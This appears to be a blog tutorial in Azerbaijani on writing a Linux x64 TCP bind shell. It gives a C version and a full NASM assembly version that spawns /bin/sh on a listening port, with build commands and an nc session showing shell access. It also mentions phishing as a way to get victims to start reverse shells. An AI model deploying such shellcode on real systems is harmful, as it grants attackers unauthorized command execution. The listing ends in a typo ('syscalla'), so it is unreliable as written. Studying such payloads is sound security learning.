TCP B1ND SH3LL — x64 | Assembly | Linux

alixan
5 min readApr 17, 2024

Əsas olaraq, hədəf cihazdan Shell almaq üçün iki üsul geniş şəkildə istifadə olunur. Bind Shell adlanan bağlantı növündə, hədəf portda bir port açıq qalır və birbaşa bağlantı qurulur. Reverse bağlantıda isə, qurbanın maşını hücumçunun kompüterindəki açıq porta bağlanır və bu bağlantı ilə shell’ini hücumçuya açar.

Əsas işləmə fərqini anladıqdan sonra bir nümunə ilə möhkəmləşdirək. Bir hücumçu və qurban olduğunu düşünün. Hücumçunun bağlantı qurmaq lazımdır, lakin belə bir problem var ki, xarici şəbəkədən DMZ şəbəkəsinə gələn trafik 80 və 443 nömrəli portlardan girişə icazə verilir, iç şəbəkədən xarici şəbəkəyə çıxan trafikə 53, 80 və 443 nömrəli portlardan girişə icazə verilə bilər. Lakin, xarici şəbəkədən iç şəbəkəyə gələn bütün tələblər port əsasında bloklanıbsa, təhlükəsizlik divarı, iç şəbəkədən xarici şəbəkəyə çıxmasına icazə verilən portlardan birindən xarici şəbəkəyə bağlanıldığında bu bağlantını izləyir və bu IP ünvandan gələn tələblərə icazə verir. Bu xüsusiyyət, təhlükəsizlik divarının “stateful” olduğunu göstərir.

NAT arxasında olan və xarici şəbəkədən gələn bağlantıların bloklanıdığı bir senarioda, “Reverse shell” firewall qaydalarını atlatmaq üçün istifadə olunur. Önəmli nöqtələrdən biri, bağlantının daxildən başlatılmasıdır, bu da istifadəçini bağlantı başlatmağa yönəldəcək texnikaların istifadəsini tələb edir. Bu texnikalar, oltalama hücumları kimi istifadəçini aldatma taktikalarını əhatə edə bilər. Burada diqqət etməli olduğumuz bir digər məsələ, Reverse shell olan bir faylın işə salınmasıdır.

Buraya qədər hər şey “okay” olduğuna görə, BİND shell haqqında daha dərinə gedək və onu kodlamağa çalışaq

Bir bind shell’in funksiyalarını assembly dilinə çevirmək üçün, prosesin addımlarını nəzərdən keçirək.

Linux kernelində unistd.h faylı, sistem çağrılarının işləndiyi bir fayldır.

cat /usr/include/asm/unistd.h | grep socket

Socket yaratma: İlk addım, socket sistem çağırışını istifadə edərək bir socket yaratmaqdır. Bu çağırış bir kommunikasiya uç nöqtəsi başladır və bağlı shell’in şəbəkə ilə əlaqə qurmağını təmin edir.

Socket bağlama: Sonra, bağlı shell yeni yaradılan socketi müəyyən bir IP ünvanına və porta bağlar. Bu proses, socketi bənzərsiz bir şəbəkə ünvanı ilə əlaqələndirir və gələn bağlantıların bağlı shell’e yönləndirilməsini təmin edir.

Bağlantıları dinləmə: Socket bağlandıqdan sonra bağlı shell, listen sistem çağırışını istifadə edərək bir dinləmə vəziyyətinə keçir. Bu, socketin müəyyən porta bağlanmağa çalışan hər hansı bir istemcidən gələn bağlantıları qəbul etməsini təmin edir.

Bağlantını qəbul etmə: Gələn bir bağlantı aldıqdan sonra bağlı Shell, accept sistem çağırışını istifadə edərək bağlantını qəbul edir və istemcinin socket tanımlayıcısını alır. Bu tanımlayıcı, bağlı shell və istemci arasında qurulmuş kommunikasiya kanalını təmsil edir.

Standart giriş/çıxışı kopyalama: Hədəf sistemlə əlaqəni asanlaşdırmaq üçün bağlı shell, dup2 sistem çağırışını istifadə edərək standart giriş, çıxış və səhv axınlarını kopyalar. Bu, hücumçunun əmrlərinin hədəf sistemin mühitində icra olunmasını təmin edir.

Bir shell işə salma: Son addım, hücumçuya interaktiv bir əmr sətri interfeysi təmin etmək üçün bir shell proqramı işə salmağı əhatə edir. Bu, göstərilən Shell proqramını yükləyib işə salan execve sistem çağırışı ilə həyata keçirilir. Addımları anladığımıza görə davam edək ❤

C-də bu addımları belə görə bilərsiniz :

#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

// This is our first syscall, the socket() call.
int listen_sock = socket(AF_INET, SOCK_STREAM, 0);

// It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind()
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(5555);

// Our second syscall, and perhaps the most complicated: bind()
bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

// Our third syscall is listen()
listen(listen_sock, 0);

// Our fourth syscall is accept()
int conn_sock = accept(listen_sock, NULL, NULL);

// Our fifth syscall, dup2(), is used 3 times
dup2(conn_sock, 0);
dup2(conn_sock, 1);
dup2(conn_sock, 2);

// Our final syscall is execve(), which runs a program fed to it as a string
execve("/bin/sh", NULL, NULL);
}

İndi isə Assemble’da kod yazmağa başlayaq.

└─$ cat alixan.nasm
global _start


_start:

; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41


mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall

; copy socket descriptor to rdi for future use

mov rdi, rax


; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)

xor rax, rax

push rax

mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x2
sub rsp, 8


; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49

mov rax, 49

mov rsi, rsp
mov rdx, 16
syscall


; listen(sock, MAX_CLIENTS)
; syscall number 50

mov rax, 50
mov rsi, 2
syscall


; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43


mov rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp

syscall

; store the client socket description
mov r9, rax

; close parent

mov rax, 3
syscall

; duplicate sockets

; dup2 (new, old)
mov rdi, r9
mov rax, 33
mov rsi, 0
syscall

mov rax, 33
mov rsi, 1
syscall

mov rax, 33
mov rsi, 2
syscall



; execve

; First NULL push

xor rax, rax
push rax

; push /bin//sh in reverse

mov rbx, 0x68732f2f6e69622f
push rbx

; store /bin//sh address in RDI

mov rdi, rsp

; Second NULL push
push rax

; set RDX
mov rdx, rsp


; Push address of /bin//sh
push rdi

; set RSI

mov rsi, rsp

; Call the Execve syscall
add rax, 59
syscalla

Bu kod, bir ağ interfeysinden gələn əlaqələri qəbul edən və daha sonra /bin/sh prosesini işə salan bir shellcode’dur.

Əvvəlcə, bir soket yaradaraq başlayır. Bu soketin təfərrüatları AF_INET ünvan ailəsi (2) və SOCK_STREAM növü (1) olaraq təyin edilir. Sonra bu soketin təsvirçisini (socket descriptor) rdi qeydində saxlayır.

Daha sonra, bir struct sockaddr yaradılır və bu struktur port nömrəsi və şəbəkə ünvanını daxil edir. bind sistem çağırısı istifadə edilərək bu ünvana və porta soket təyin edilir.

Növbəti addımda, soketin gələn əlaqələri gözləməsi listen sistem çağırısı ilə təmin edilir.

Əlaqə qəbul olunduqdan sonra, yeni bir soket qəbul edilir və bu r9 da saxlanılır. Sonra ana proses bağlanır və qəbul edilən əlaqə, standart giriş (STDIN), standart çıxış (STDOUT) və standart səhv (STDERR) fayl təsvirçilərinə (dup2 istifadə edərək) yönləndirilir.

Axırda, /bin/sh execve sistem çağırısı istifadə edərək işə salınır. Bu, bir shell sessiyasını başladır və hücumçunun hədəf sistemdə əmr icra etməsinə imkan verir.

İndi ise programı çalışdırmak məsələsinə gəldikdə ise,
ilk öncə, alixan.nasm adlı faylı NASM ilə dərləyək və çıxışı alixan.o adlı fayla saxlayaq.

$ nasm -felf64 alixan.nasm -o alixan.o

Sonra, ld (Linker) istifadə edərək yaratdığımız alixan.o faylını əlaqələndirəcəyik və icra olunan fayl yaradacağıq. Çıxışı alixan adlı faylda saxlayacağıq

─$ ld alixan.o -o alixan

Daha sonra alixan faylını çalışdıraraq portlarımıza baxaq.

─$ ./alixan
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN                                                                                 
tcp 0 0 localhost:6010 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN

Göründüyü kimi, 4444 portunda bir dinləyici mövcuddur.

Porta bağlanmağı yoxladığımızda bizə shell gəlir ve istediyimiz əmri yazdığımızda shell bağlantımızın, düzgün şəkildə çalışdığını görə bilərik

└─$ nc localhost 4444
whoami
kali

--

--